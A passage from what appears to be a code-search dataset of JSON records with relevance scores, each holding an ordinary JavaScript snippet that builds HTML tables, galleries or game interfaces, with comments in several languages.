divisiontr3.appendChild(divisiontd5);\r\n\t\t }\r\n\t\t divisiontbl.appendChild(divisiontr3);\r\n\t}", "title": "" }, { "docid": "0c1d1f64f7416ccd1bf0c3576b3152f8", "score": "0.58208", "text": "function funksiya(arr) { // ovqatlar turgan massiv qabul qiladi\n boxesEl.innerHTML = ''; // html da ovqatlar turgan katta divning ichini tozalash\n for(let i = 0; i < arr.length; i++) { // massivdagi har bir ovqatni olib\n createDishDiv(arr[i], i); // shu ovqatni html ga qo'shish\n }\n}", "title": "" }, { "docid": "833d597926c64e96fde6a0e99a70724a", "score": "0.58147687", "text": "function stworz_galerie() {\n var obrazki = '';\n var podmieniony = '';\n var sklejka = '';\n var tablica_obrazkow = new Array();\n var rozmiar_tablicy_obrazkow = '';\n var grafika_sklejona = '';\n\n //Od ręki style do galerii\n // Tutaj trzeba w przyszłości zrobić dodatkowe okienko, które zgromadzi style do skopiowania i może jakieś slidery\n var style = \"<style>\\n .additional_small_gallery_on_page\\n{\\n display:flex; \\n content-justify:flex-start; \\n flex-wrap:wrap;\\n}\\n .additional_small_gallery_on_page>img\\n{\\n width:30%; \\n margin:10px; \\n} \\n</style>\\n\";\n\n //Pobieranie urli + robienie z nich tablicy\n obrazki = text_do_zmiennej();\n tablica_obrazkow = obrazki.split(\"\\n\");\n rozmiar_tablicy_obrazkow = tablica_obrazkow.length;\n\n //Przeróbka urli na tag grafiki\n for (var x = 0; x <= rozmiar_tablicy_obrazkow - 1; x++) {\n if (x == 0) {\n tablica_obrazkow[x] = '<div class=\"additional_small_gallery_on_page\" /> <img src=\"' + tablica_obrazkow[x] + '\"/>\\n';\n }\n else if (x == rozmiar_tablicy_obrazkow - 1) {\n\n tablica_obrazkow[x] = '<img src=\"' + tablica_obrazkow[x] + '\"/>\\n</div>';\n\n }\n else {\n\n tablica_obrazkow[x] = '<img src=\"' + tablica_obrazkow[x] + '\"/>\\n';\n\n }\n\n }\n\n //sklejanie tablicy urli do stringa\n grafika_sklejona = style + '\\n' + tablica_obrazkow.join('');\n\n //Sklejanie całości\n\n sklejka = sklej_zmodyfikowany_tekst(grafika_sklejona);\n\n //Wyświetlanie zmodyfikowanego tekstu\n wyswietl_zmodyfikowany_tekst(sklejka);\n\n}", "title": "" }, { "docid": "101334b6e63675ebd0001a06f22eee2f", "score": "0.5798234", "text": "function creaTableArmaduras() {\n $('#tienda').remove();\n $('#navegacion').append('<div id = \"tienda\"></div>');\n $('#tienda').append('<h3>Que armadura deseas Comprar?</h3>');\n $('#tienda').append('<table id =\"productos\"></table>');\n $('#productos').append('<tr id =\"fila0\"></tr>');\n $('#fila0').append('<td>Nombre</td>');\n $('#fila0').append('<td>Armadura</td>');\n $('#fila0').append('<td>Resistencia Magica</td>');\n $('#fila0').append('<td>Precio</td>');\n $('#fila0').append('<td>Comprar</td>');\n\n var i = 0;\n while (armaduras[i] != null) {\n var fila = 'fila';\n var numfila = 1 + i;\n var strnumfila = numfila.toString();\n\n var idfila = fila.concat(strnumfila);\n var idnombre = 'nombre'.concat(idfila);\n var idarmadura = 'armadura'.concat(idfila);\n var idmr = 'resistenciaMagica'.concat(idfila);\n var idprecio = 'precio'.concat(idfila);\n\n var tr = '<tr id = \"' + idfila + '\"></tr>';\n var tdnombre = '<td id = \"' + idnombre + '\"></td>';\n var tdarmadura = '<td id = \"' + idarmadura + '\"></td>';\n var tdmr = '<td id = \"' + idmr + '\"></td>';\n var tdprecio = '<td id = \"' + idprecio + '\"></td>';\n\n $('#productos').append(tr);\n $('#' + idfila).append(tdnombre);\n $('#' + idnombre).html(armaduras[i].nombre);\n $('#' + idfila).append(tdarmadura);\n $('#' + idarmadura).html(armaduras[i].armadura);\n $('#' + idfila).append(tdmr);\n $('#' + idmr).html(armaduras[i].resistenciaMagica);\n $('#' + idfila).append(tdprecio);\n $('#' + idprecio).html(armaduras[i].precio);\n\n var comprar = '<td><button class = \"botoncompraitem\" onclick = compraentienda(armaduras[' + i + '],2);>Comprar!</button></td>';\n $('#' + idfila).append(comprar);\n i++;\n }\n $('#tienda').append('<button id = \"volverjuegotienda\" onclick = creaMenuTienda();>Salir</button>');\n}", "title": "" }, { "docid": "322c46efc0b76e477e72660870e23fc5", "score": "0.57869476", "text": "function llenarTabla(miembros, elementoHTML) {\n\n // USANDO TEMPLATE STRINGS Y ARROW FUNCTIONS.\n\n const markup = //INICIALIZO LA VARIABLE QUE CONTENDRÁ EL STRING HTML DEL ROW.\n ` \n ${miembros.map(miembro => //POR CADA miembro EN EL ARRAY miembros GENERO UN ROW CON LA INFORMACION DE ESE MIEMBRO ESPECIFICO.\n `<tr>\n <td><a href=\"${miembro.url}\" target=_blank >${miembro.last_name}, ${miembro.first_name} ${miembro.middle_name || ''}</a></td>\n <td>${miembro.party}</td>\n <td>${miembro.state}</td>\n <td>${miembro.seniority}</td>\n <td>${miembro.votes_with_party_pct} &percnt;</td>\n </tr>`\n ).join('')//ELIMINO LAS COMAS DEL ARRAY DEVUELTO POR EL .map .\n }\n `;\n document.getElementById(elementoHTML).innerHTML = markup; //INSERTO TODOS LOS ROWS EN EL ELEMENTO table-rows.\n\n }", "title": "" }, { "docid": "fc5f9c877b50697ee4fd0d9e038e53ff", "score": "0.57830024", "text": "function detalle(id, nombre, descripcion) {\n\n var tabla = \"\";\n var vacio = \"--\";\n\n tabla += \"<table class='tbListado centrar' style='text-align: center;'><tr><td class='encabezado' colspan ='2'><b> DETALLES </b></td></tr>\";\n tabla += \"<tr>\";\n tabla += \"<td class='encabezado' colspan ='2'>NOMBRE &Aacute;REA</td></tr>\";\n // tabla += '<tr><td class=\"cuerpoListado10\">' + ((id == \"\") ? vacio : id) + '</td>';\n tabla += '<td class=\"cuerpoListado10\">' + ((nombre == \"\") ? vacio : unescape(nombre).toUpperCase()) + '</td>';\n\n\n tabla += \"<table class='tbListado centrar' style='text-align: center;'><tr><td class='encabezado' colspan ='2'><b> </b>DESCRIPCIÓN</td></tr>\";\n\n\n\n tabla += '</tr>';\n\n tabla += '<td class=\"cuerpoListado10\">' + ((descripcion == \"\") ? vacio : unescape(descripcion).toUpperCase()) + '</td>';\n\n tabla += '</tr>';\n tabla += \"</table>\";\n document.getElementById(\"divTablaDetalle\").innerHTML = tabla;\n\n listaCargosRelacionados(1, id);\n\n\n\n\n\n}", "title": "" }, { "docid": "cb442a1e5aa18b3155466332d1367828", "score": "0.5782432", "text": "function mostrarMeses(){\n div=document.createElement(\"div\");\n div.style.height=this.calendario.offsetHeight+\"px\";\n div.style.width=this.calendario.offsetWidth+\"px\";\n this.divMain.style.display=\"none\";\n table=document.createElement(\"table\");\n table.style.height=\"100%\";\n table.style.width=\"100%\";\n tr=document.createElement(\"tr\");\n td=document.createElement(\"td\");\n td.colSpan=\"4\";\n td.style.textAlign=\"center\";\n span=document.createElement(\"span\");\n span.innerText=this.ano;\n span.textContent=span.innerText;\n span.onclick=new Function(this.Nombre+\".mostrarAnos();\");\n span.style.cursor=\"Pointer\";\n td.className=\"cal_diasSemana\";\n td.appendChild(span);\n tr.appendChild(td);\n table.appendChild(tr);\n \n for(i=0;i<3;i++){\n tr=document.createElement(\"tr\");\n for(j=0;j<4;j++){\n td=document.createElement(\"td\");\n td.style.textAlign=\"center\";\n span=document.createElement(\"span\");\n span.innerText=Meses[i*4+j].substr(0,3);\n span.textContent=span.innerText;\n span.onclick=new Function(this.Nombre+\".selMes(\"+(i*4+j).toString()+\");\");\n span.style.cursor=\"Pointer\";\n td.className=\"cal_meses\";\n td.appendChild(span);\n tr.appendChild(td);\n }\n table.appendChild(tr);\n }\n div.appendChild(table);\n this.divMeses=div;\n this.calendario.appendChild(div);\n}", "title": "" }, { "docid": "0c66ab6e33de1b63a7575e8b4a66cb02", "score": "0.57814544", "text": "function llenarTablaDinamicaPacienteBusq(data) {\n if (Array.isArray(data)) {\n if (data.length > 0) {\n var tabla = \"<div class='col-sm-12'><div class='table scrollestilo' style='max-height: 40vh; overflow: scroll;'><table class='table table-sm table-bordered'><thead><tr class='table-active'><th>Nombre Paciente</th><th style='text-align: center;'>Nivel</th><th style='text-align: center;'>Opciones</th></tr></thead><tbody>óê%TABLA%óê</tbody></table></div></div>\";\n var pacientes = \"\";\n $(data).each(function (key, value) {\n var id = cadAleatoria(8), boton = \"\", nivel = \"\";\n if (value.Estatus === 1) {\n boton = \"<button class='btn badge badge-pill badge-warning editarPrePaciente' title='Editar Pre-registro'><i class='fa fa-user-edit'></i></button>&nbsp;<button class='btn badge badge-pill badge-dark reimprimircontrato' idpaciente='\" + value.IdPaciente + \"' title='Reimprimir Contrato'><i class='fa fa-print'></i></button>\" +\n \"&nbsp;<button class='btn badge badge-pill badge-info hojaingresodatosfamiliares' idpaciente='\" + value.IdPaciente + \"' title='Hoja Ingreso - Datos de Familiar'><i class='fa fa-file'></i></button>\" +\n \"&nbsp;<button class='btn badge badge-pill badge-primary hojaingresodatosusuario' idpaciente='\" + value.IdPaciente + \"' title='Hoja Ingreso - Datos de Usuario'><i class='fa fa-file'></i></button>\" +\n \"&nbsp;<button class='btn badge badge-pill badge-danger hojadetallepaciente' idpaciente='\" + value.IdPaciente + \"' title='Informacion Paciente - Generales'><i class='fa fa-file'></i></button>\";\n nivel = \"<span class='badge badge-dark'>\" + EstatusPacientesJSON[value.Estatus.toString()] + \"</span>\";\n } else if (value.Estatus === 2) {\n boton = \"<button class='btn badge badge-pill badge-warning configurarPacienteIngreso' idpaciente='\" + id + \"' title='Configurar Ingreso'><i class='fa fa-user-cog'></i>&nbsp;Configurar Ingreso</button>\";\n nivel = \"<span class='badge badge-dark'>\" + EstatusPacientesJSON[value.Estatus.toString()] + \"</span>\";\n } else if (value.Estatus === 3) {\n boton = \"<button class='btn badge badge-pill badge-warning' idpaciente='\" + id + \"' title='Ver Información'><i class='fa fa-search'></i>&nbsp;Ver Info.</button>\";\n nivel = \"<span class='badge badge-dark'>\" + EstatusPacientesJSON[value.Estatus.toString()] + \"</span>\";\n } else if (value.Estatus === 4) {\n\n }\n pacientes += \"<tr><td>\" + value.NombreCompleto + \"</td><td style='text-align: center;'>\" + nivel + \"</td><td style='text-align: center;'>\" + boton + \"</td></tr>\";\n ListaPacientesConsultaJSON.push({\n Id: id,\n IdPaciente: value.IdPaciente,\n NombreCompleto: value.NombreCompleto,\n ClavePaciente: value.ClavePaciente,\n });\n });\n LoadingOff();\n $('#modalTxtPacienteBusqueda').focus();\n $('#modalTablaConsultaPacientes').html(tabla.replace(\"óê%TABLA%óê\", pacientes));\n } else {\n LoadingOff();\n $('#modalTxtPacienteBusqueda').focus();\n $('#modalTablaConsultaPacientes').html(\"<div class='col-sm-12' style='text-align: center;'><h2 style='color: #85929E;'><i class='fa fa-exclamation-circle'></i> No se encontraron pacientes.</h2></div>\");\n }\n } else {\n ErrorLog(data.responseText, \"Generar Consulta Pacientes\");\n }\n}", "title": "" }, { "docid": "a0ba2a7c090cb3e25fab629715962809", "score": "0.57690984", "text": "function insertarConOverflowBMas(altura,nodo,posicion,elemento)\n{\n\tdeshabilitarBotonesBMas();\n\t/*me quedo con el div que representa el nodo*/\n\tvar idNodoAInsertar=\"E\"+altura+nodo;\n\tvar nodoAInsertar=document.getElementById(idNodoAInsertar);\n\t/*me quedo con el elemento mas grande del nodo*/\n\tvar ultimoPuntero=nodoAInsertar.lastChild;\n\tvar numeroMasGrande=ultimoPuntero.previousSibling.lastChild.nodeValue;\n\t/*creo el div que me hara desbordar el nodo*/\n\tif(elemento < numeroMasGrande)\n\t{\n\t\telementoNuevoDiv=numeroMasGrande;\n\t}else\n\t{\n\t\telementoNuevoDiv=elemento;\n\t}\n\tordenarNodoBMas(altura,nodo,elemento);\n\tvar nuevoDiv=document.createElement('div');\n\tnuevoDiv.className=\"elemento\";\n\tnuevoDiv.id='desborde';\n\tnuevoDiv.style.width=anchoElemento;\n\tnuevoDiv.style.height=25;\n\tnuevoDiv.style.backgroundColor=color_nodo;\nnuevoDiv.style.color=color_texto_nodo;\n\tnuevoDiv.style.border=borde_elemento;\n\tnuevoDiv.style.position='relative';\n\tnuevoDiv.style.cssFloat='left';\n\tnuevoDiv.appendChild(document.createTextNode(elementoNuevoDiv));\n\tnodoAInsertar.appendChild(nuevoDiv);\n\t/*function que marca el el grafico que el nodo esta desbordado*/\n\tefectoTitilacionBMas(idNodoAInsertar);\n}", "title": "" }, { "docid": "5a191bb3fa9ec53d32a50024e47d5558", "score": "0.5763506", "text": "function numerarcaramelos () { \r\n\tvar fila, columna, num_fila, numcarameloscolumna;\r\n\t\r\n\tfor (var j=1; j<=7; j++) {\r\n\t\tcolumna = \".col-\" + j.toString();\r\n\t\tnumcarameloscolumna = $(columna).find(\"div\").length;\r\n num_fila = numcarameloscolumna;\r\n\t\t$(columna).find(\"div\").each(function() {\r\n\t\t\t\tfila = \"fila-\" + (8 - num_fila);\r\n\t\t\t\t$(this).attr(\"class\",fila);\r\n\t\t\t\tnum_fila = num_fila -1;\r\n\t\t});\r\n\t}\r\n}", "title": "" }, { "docid": "f0b625c877acc02d215e8854a6880d63", "score": "0.5759167", "text": "function sectie_Tabel(){\n\t\t\t// Gegevens in array 'matrix' kopiëren naar de HTML tabel\n\n\t\t\tvar resultaat=''; // Variabele 'resultaat' verzamelt de HTML tekst\n\n\t\t\t// Gegevens in array 'matrix' kopiëren naar de HTML tabel\n\t\t\tresultaat +='<table id=\"tabel_B010\"><caption>B010 Boekingen buiten periode</caption><thead><tr>';\n\t\t\t\n\t\t\tresultaat +='<th colspan=\"3\">Periodes uit tabel \"periode\"</th>';\n\t\t\tresultaat +='<th colspan=\"'+(perUitDatums.length+1)+'\">Aantal mutaties per berekende periode uit \"trDt\"</th>';\n\t\t\tresultaat +='</tr><tr>';\n\t\t\t\n\t\t\tresultaat +='<th>Periode</th> <th>BeginDatum</th> <th>EindDatum</th>';\n\t\t\tfor (var i = 0; i < perUitDatums.length; i++) {\n\t\t\t\tvar filterKolom = '_filterKolom'+i+'_';\n\t\t\t\tvar periodeCode = perUitDatums[i].period;\n\t\t\t\tresultaat += '<th class=\"'+filterKolom+'\">'+periodeCode+'</th>';\n\t\t\t}\n\t\t\tresultaat += '<th class=\"_filterKolom'+(i++)+'_\">Som</th>';\n\t\t\tresultaat += \"</tr></thead> <tbody>\";\n\n\t\t\t// Tabelrijen uit array 'periodes': periodNumber, startDatePeriod en endDatePeriod\n\t\t\tfor (var j = 0; j < periodes.length; j++){\n\t\t\t\tresultaat += \"<tr>\";\n\t\t\t\tresultaat += \"<td>\"+periodes[j].period+\"</td>\"+\"<td>\"+periodes[j].startDatePeriod+\"</td>\"+\"<td>\"+periodes[j].endDatePeriod+\"</td>\";\n\t\t\t\t// periode uit datum in de array 'perUitDatums'\n\t\t\t\tfor (var i = 0; i < perUitDatums.length; i++) {\n\t\t\t\t\tvar aantMut = matrix[j][i].aantMut;\n\t\t\t\t\t// ToDo: hier reageren als aantMut<>0 en i<>j+1\n\t\t\t\t\tresultaat += \"<td class='num\"+(aantMut<0 ? \" Neg\" : \"\")+(aantMut==0 ? \" nul\" : \"\")+\"'>\" +aantMut+\"</td>\";\n\t\t\t\t}\n\t\t\t\t// Som per periode toevoegen, zit in array 'periodes'\n\t\t\t\tresultaat += \"<td class='num\"+(periodes[j].aantMut<0 ? \" Neg\" : \"\")+\"'>\" +periodes[j].aantMut+\"</td>\";\n\t\t\t\tresultaat+=\"</tr>\";\n\t\t\t}\n\t\t\tresultaat += \"</tbody>\";\n\t\t\t// Totalen regel, uit perUitDatums\n\t\t\tresultaat += \"<tfoot><tr>\";\n\t\t\t//resultaat += \"<td>Som</td> <td></td> <td></td> \";\n\t\t\tresultaat += '<td colspan=\"3\">Som</td> ';\n\n\t\t\tfor (var i = 0; i < perUitDatums.length; i++) {\n\t\t\t\tresultaat += \"<td class='num' >\" +perUitDatums[i].aantMut+\"</td>\";\n\t\t\t}\n\t\t\tresultaat += \"<td> </td>\";\n\n\t\t\tresultaat += \"</tr></tfoot></table>\";\n\t\t\tresultaat += \"<p></p>\";\n\n\t\t\treturn resultaat;\n\t\t}", "title": "" }, { "docid": "70220f35f716e973cb784cc7decb9cc1", "score": "0.5757239", "text": "function reiniciaRodada() {\r\n var desc = document.getElementById(\"desc\");\r\n var escolha1Ia = document.getElementById(\"escolha1Ia\");\r\n var escolha2Ia = document.getElementById(\"escolha2Ia\");\r\n var escolha3Ia = document.getElementById(\"escolha3Ia\");\r\n\r\n var carta1 = document.getElementById(\"carta1\");\r\n var carta2 = document.getElementById(\"carta2\");\r\n var carta3 = document.getElementById(\"carta3\");\r\n var carta4 = document.getElementById(\"carta4\");\r\n\r\n\r\n var escolha1 = document.getElementById(\"escolha1\");\r\n var escolha2 = document.getElementById(\"escolha2\");\r\n var escolha3 = document.getElementById(\"escolha3\");\r\n desc.style.visibility = \"visible\";\r\n\r\n escolha1Ia.removeChild(escolha1Ia.lastChild);\r\n escolha2Ia.removeChild(escolha2Ia.lastChild);\r\n escolha3Ia.removeChild(escolha3Ia.lastChild);\r\n\r\n\r\n carta1.removeChild(carta1.lastChild);\r\n carta2.removeChild(carta2.lastChild);\r\n carta3.removeChild(carta3.lastChild);\r\n carta4.removeChild(carta4.lastChild);\r\n\r\n carta1_cpu.remove();\r\n carta2_cpu.remove();\r\n carta3_cpu.remove();\r\n\r\n\r\n\r\n\r\n escolha1.style.width = \"30%\";\r\n escolha1.style.height = \"60%\";\r\n escolha1.style.top = \"10%\";\r\n escolha1.style.left = \"3%\";\r\n\r\n escolha2.style.width = \"30%\";\r\n escolha2.style.height = \"60%\";\r\n escolha2.style.top = \"10%\";\r\n escolha2.style.left = \"35%\";\r\n\r\n escolha3.style.width = \"30%\";\r\n escolha3.style.height = \"60%\";\r\n escolha3.style.top = \"10%\";\r\n escolha3.style.left = \"67%\";\r\n\r\n anim1 = 0;\r\n anim2 = 0;\r\n anim3 = 0;\r\n anim4 = 0;\r\n\r\n\r\n escolha1.style.pointerEvents = \" auto\";\r\n escolha2.style.pointerEvents = \" auto\";\r\n escolha3.style.pointerEvents = \" auto\";\r\n\r\n\r\n\r\n\r\n if (moralIA <= 0)    {      \r\n window.location.href = \"telaVitoria.html\"; //window.open(\"telaVitoria.html\");         \r\n }   \r\n else if (moralJogador <= 0)    {      \r\n window.location.href = \"telaDerrota.html\"; //window.open(\"telaDerrota.html\");         \r\n }\r\n\r\n geraEvento();\r\n\r\n\r\n}", "title": "" }, { "docid": "ffc4eea7d5685574f3c2e3b27451e1a2", "score": "0.5756991", "text": "function affichierUnContrevenant(donnee_json){\n\n\n eraseContainer(\"block_resultat\");\n //document.getElementById(\"block_resultat\").innerHTML = donnee_json[0].etablissement;\n var div = document.createElement(\"DIV\");\n div.setAttribute(\"id\",\"block_resultat\");\n document.body.appendChild(div);\n\n var table = document.createElement(\"TABLE\");\n table.setAttribute(\"id\", \"myTable\");\n //document.body.appendChild(table);\n document.getElementById(\"block_resultat\").appendChild(table);\n\n table = document.getElementById(\"myTable\");\n\n var header = table.createTHead();\n\n var row = header.insertRow(0)\n\n var cell0 = row.insertCell(0);\n var cell1 = row.insertCell(1);\n var cell2 = row.insertCell(2);\n var cell3 = row.insertCell(3);\n var cell4 = row.insertCell(4);\n var cell5 = row.insertCell(5);\n var cell6 = row.insertCell(6);\n var cell7 = row.insertCell(7);\n var cell8 = row.insertCell(8);\n\n cell0.innerHTML = \"Propriétaire\";\n cell1.innerHTML = \"Catégorie\";\n cell2.innerHTML = \"Etablissement\";\n cell3.innerHTML = \"Adresse\";\n cell4.innerHTML = \"Ville\";\n cell5.innerHTML = \"Date de l'infraction\";\n cell6.innerHTML = \"Date du jugement\";\n cell7.innerHTML = \"Montant de l'amende\";\n cell8.innerHTML = \"Description de l'infraction\"\n\n insererDonneeUnContrevenant(donnee_json);\n}", "title": "" }, { "docid": "f0fdaa150c657608c1b3038b3f6a405e", "score": "0.5752157", "text": "function CiraAmostras(div,idBase){\n\t\n\t//for(var i=1;i<=number;i++){\n\tconsole.log(\"#hdm\"+idBase+\"N\");\n\tconsole.log($(\"#hdm\"+idBase+\"N\"));\n\ti = parseInt($(\"#hdm\"+idBase+\"N\").val())+1;\n\tsubdiv = $('<div/>');\n\tsubdiv.append($('<fieldset/>',{\n\t\t\t\t\"data-role\":\"controlgroup\",\n\t\t\t\t\"data-type\":\"horizontal\",\n\t\t\t\t\"data-mini\":\"true\"\n\t\t\t}).append($(\"<legend/>\").text(i+'ª Amostra:')\n\t\t\t).append(\n\t\t\t\t\t$('<input/>',{\n\t\t\t\t\t\t 'type': 'radio',\n\t 'name': 'chk'+idBase+i,\n\t 'id': 'chk'+idBase+i,\n\t 'tardiv':'#div'+idBase+i,\n\t 'value':\"true\",\n\t 'class':'hemocultura agentepresente'\n\t\t\t\t\t}).click(AgentePresente)\n\t\t\t\t).append(\n\t\t\t\t\t$('<label/>',{\n\t\t\t\t\t\t'for':'chk'+idBase+i\n\t\t\t\t\t}\n\t\t\t\t\t).text(\"Agente presente\")\n\t\t\t\t).append(\n\t\t\t\t\t\t$('<input/>',{\n\t\t\t\t\t\t\t 'type': 'radio',\n\t\t 'name': 'chk'+idBase+i,\n\t\t 'id': 'chk'+idBase+i+\"N\",\n\t\t 'value':\"false\",\n\t\t 'class':'agenteNpresente',\n\t\t 'tardiv':'#div'+idBase+i\n\t\t\t\t\t\t}).click(AgenteNaoPresente)\n\t\t\t\t).append(\n\t\t\t\t\t$('<label/>',{\n\t\t\t\t\t\t'for':'chk'+idBase+i+\"N\"\n\t\t\t\t\t}\n\t\t\t\t\t).text('Agente não presente')\n\t\t\t\t)\n\t\t).append(\n\t\t\t$('<div/>',{\n\t\t\t\t'id':'div'+idBase+i,\n\t\t\t\t'data-role':'fieldcontain'\n\t\t\t}).append(\n\t\t\t\t\t$('<label/>',{\n\t\t\t\t\t\t'for':'txt'+idBase+i\n\t\t\t\t\t}\n\t\t\t\t\t).text('Agente:')\n\t\t\t\t).append(\n\t\t\t\t\t$('<select/>',{\n\t\t\t\t\t\t\"id\":\"cmb\"+idBase+i,\n\t\t\t\t\t\t\"name\":\"cmb\"+idBase+i,\n\t\t\t\t\t\t\"required\":\"required\",\n\t\t\t\t\t\t\"class\":\"tipoagente\",\n\t\t\t\t\t\t\"outros\":'#divtxt'+idBase+i\n\t\t\t\t\t}).append(\n\t\t\t\t\t\t$('<option/>',{\n\t\t\t\t\t\t\t\"value\":0\n\t\t\t\t\t\t}).text(\"Selecione uma opção\")\n\t\t\t\t\t).append(\n\t\t\t\t\t\t$('<option/>',{\n\t\t\t\t\t\t\t\"value\":1\n\t\t\t\t\t\t}).text(\"Staphylococcus aureus\")\n\t\t\t\t\t).append(\n\t\t\t\t\t\t$('<option/>',{\n\t\t\t\t\t\t\t\"value\":2\n\t\t\t\t\t\t}).text(\"Streptococcus viridans\")\n\t\t\t\t\t).append(\n\t\t\t\t\t\t$('<option/>',{\n\t\t\t\t\t\t\t\"value\":3\n\t\t\t\t\t\t}).text(\"Staphylococcus coagulase negativo\")\n\t\t\t\t\t).append(\n\t\t\t\t\t\t$('<option/>',{\n\t\t\t\t\t\t\t\"value\":4\n\t\t\t\t\t\t}).text(\"Streptococcus sp.\")\n\t\t\t\t\t).append(\n\t\t\t\t\t\t$('<option/>',{\n\t\t\t\t\t\t\t\"value\":5\n\t\t\t\t\t\t}).text(\"Enterococcus\")\n\t\t\t\t\t).append(\n\t\t\t\t\t\t$('<option/>',{\n\t\t\t\t\t\t\t\"value\":6\n\t\t\t\t\t\t}).text(\"Estruturas leveduriformes\")\n\t\t\t\t\t).append(\n\t\t\t\t\t\t$('<option/>',{\n\t\t\t\t\t\t\t\"value\":7\n\t\t\t\t\t\t}).text(\"Outros\")\n\t\t\t\t\t).change(ColocaOutros)\n\t\t\t\t).append(\n\t\t\t\t\t\t$('<div/>',{\n\t\t\t\t\t\t\t'id':'divtxt'+idBase+i,\n\t\t\t\t\t\t\t'data-role':'fieldcontain'\n\t\t\t\t\t\t}).append(\n\t\t\t\t\t\t\t$('<label/>',{\n\t\t\t\t\t\t\t\t'for':'txt'+idBase+i\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t).text('Nome:')\n\t\t\t\t\t\t).append(\n\t\t\t\t\t\t\t$('<input/>',{\n\t\t\t\t\t\t\t\t 'type': 'text',\n\t\t\t 'name': 'txt'+idBase+i,\n\t\t\t 'id': 'txt'+idBase+i\n\t\t\t\t\t\t\t})\n\t\t\t\t\t\t).hide()\n\t\t\t\t).hide()\n\t\t\t);\n\tdiv.append(subdiv);\n\t$(\"#hdm\"+idBase+\"N\").val(i)\n\tdiv.trigger('create');\n\t//}\n}", "title": "" }, { "docid": "493952e1538be936186c4bc9e75285c0", "score": "0.5749567", "text": "function mostrarTabla(id){\n let tablas = paneles.querySelectorAll('table');\n for(let t of tablas) {\n if (t.id) {\n if (t.id==id) {\n t.classList.remove('ocultar');\n TABLA_ACTUAL = t;\n } else\n t.classList.add('ocultar');\n }\n }\n}", "title": "" }, { "docid": "09dab0ea5916253724de40139984bd52", "score": "0.5744421", "text": "function mostrarTela() {\r\n var tabela = \"<table>\";\r\n for (i = 0; i <= linhaMax; i++) {\r\n tabela += \"<tr>\";\r\n for (j = 0; j <= limiteHorizontal; j++) {\r\n if (matriz[i][j] == 0) {\r\n tabela += \"<td> \" + matriz[i][j] + \" </td>\";\r\n } else {\r\n switch (matriz[i][j]) {\r\n case 1:\r\n tabela += \"<td class='blue'> \" + matriz[i][j] + \" </td>\";\r\n break;\r\n case 2:\r\n tabela += \"<td class='red'> \" + matriz[i][j] + \" </td>\";\r\n break;\r\n case 3:\r\n tabela += \"<td class='green'> \" + matriz[i][j] + \" </td>\";\r\n break;\r\n case 4:\r\n tabela += \"<td class='orange'> \" + matriz[i][j] + \" </td>\";\r\n break;\r\n case 5:\r\n tabela += \"<td class='purple'> \" + matriz[i][j] + \" </td>\";\r\n break;\r\n case 6:\r\n tabela += \"<td class='yellow'> \" + matriz[i][j] + \" </td>\";\r\n break;\r\n\r\n }\r\n }\r\n }\r\n tabela += \"</tr>\";\r\n }\r\n document.getElementById(\"aqui\").innerHTML = tabela;\r\n}", "title": "" }, { "docid": "a2a7d75025b4e4a3dd9a8134ad9435cf", "score": "0.5729575", "text": "function augmentaNivel(nivelesaugmentados) {\n $('#navegacion').append('<div id = \"mejora\"></div>');\n $('#mejora').append('<h3>Que deseas mejorar?' + nivelesaugmentados + ' mejoras disponible</h3>');\n $('#mejora').append('<table id =\"mejoras\"></table>');\n $('#mejoras').append('<tr id =\"fila1\"></tr>');\n $('#fila1').append('<td><img class=\"imgmejora\" src=\"./media/images/mejora.png\" alt=\"mejoraVida\" onclick=\"ejecutaMejora(0,' + nivelesaugmentados + ');\"></td>');\n $('#fila1').append('<td><img class=\"imgmejora\" src=\"./media/images/mejora.png\" alt=\"mejoraVida\" onclick=\"ejecutaMejora(1,' + nivelesaugmentados + ');\"></td>');\n $('#fila1').append('<td><img class=\"imgmejora\" src=\"./media/images/mejora.png\" alt=\"mejoraVida\" onclick=\"ejecutaMejora(2,' + nivelesaugmentados + ');\"></td>');\n $('#fila1').append('<td><img class=\"imgmejora\" src=\"./media/images/mejora.png\" alt=\"mejoraVida\" onclick=\"ejecutaMejora(3,' + nivelesaugmentados + ');\"></td>');\n $('#mejoras').append('<tr id =\"fila2\"></tr>');\n $('#fila2').append('<td>Vida</td>');\n $('#fila2').append('<td>Ataque</td>');\n $('#fila2').append('<td>Armadura</td>');\n $('#fila2').append('<td>Resitencia Magica</td>');\n}", "title": "" }, { "docid": "e9ecaf0dd78861b9c97f27522b30264e", "score": "0.57260036", "text": "function imprimirentabla(Arraydatos) {\n document.getElementById(\"cuerpo\").innerHTML = \"\";\n for (c = 0; c < Arraydatos.length; c++) {\n var da = new datosmobiliario();\n da = Arraydatos[c];\n var tabla = document.getElementById(\"tabla\");\n var cuerpo = document.getElementById(\"cuerpo\");\n linea = document.createElement(\"tr\");\n parrafo = document.createElement(\"p\");\n dato = document.createTextNode(da.ID);\n Columna = document.createElement(\"td\");\n Columna.appendChild(dato);\n linea.appendChild(Columna);\n\n parrafo = document.createElement(\"p\");\n dato = document.createTextNode(da.DESCRIPCION);\n Columna = document.createElement(\"td\");\n Columna.appendChild(dato);\n linea.appendChild(Columna)\n\n\n parrafo = document.createElement(\"p\");\n dato = document.createTextNode(da.FECHAMANTENIMIENTO);\n Columna = document.createElement(\"td\");\n Columna.appendChild(dato);\n linea.appendChild(Columna)\n parrafo = document.createElement(\"p\");\n dato = document.createTextNode(da.FAMILIA);\n Columna = document.createElement(\"td\");\n Columna.appendChild(dato);\n linea.appendChild(Columna)\n\n cuerpo.appendChild(linea);\n }\n\n tabla.appendChild(cuerpo);\n}", "title": "" }, { "docid": "5b52817913532492c35cc275ee5e6f4c", "score": "0.5722996", "text": "function dibujarTablero(){\n dibujarBajadas();\n for(let i=0; i < dimY; i++){\n for(let j=0; j < dimX; j++){\n matrizJuego[i][j].getFig1().draw();\n matrizJuego[i][j].getFig2().draw();\n }\n }\n }", "title": "" }, { "docid": "b1993aef284545005b6143f4a0beaa4a", "score": "0.5721665", "text": "function tabla_grafica(fila, columna) {\n // Obtener la referencia del elemento body\n var body = document.getElementsByTagName(\"body\")[0];\n\n // Crea un elemento <table> y un elemento <tbody>\n var tabla = document.createElement(\"table\");\n // Agrego una clase a la tabla\n tabla.setAttribute('class', 'grid');\n tabla.setAttribute('id', 'grid');\n\n var tblBody = document.createElement(\"tbody\");\n\n\n // Crea las celda\n for (var i = 0; i < fila; i++) {\n\n // Crea las fila de la tabla\n var row = document.createElement(\"tr\");\n // Agrego una clase a la fila\n //row.setAttribute('class', 'row');\n\n for (var j = 0; j < columna; j++) {\n // Crea un elemento 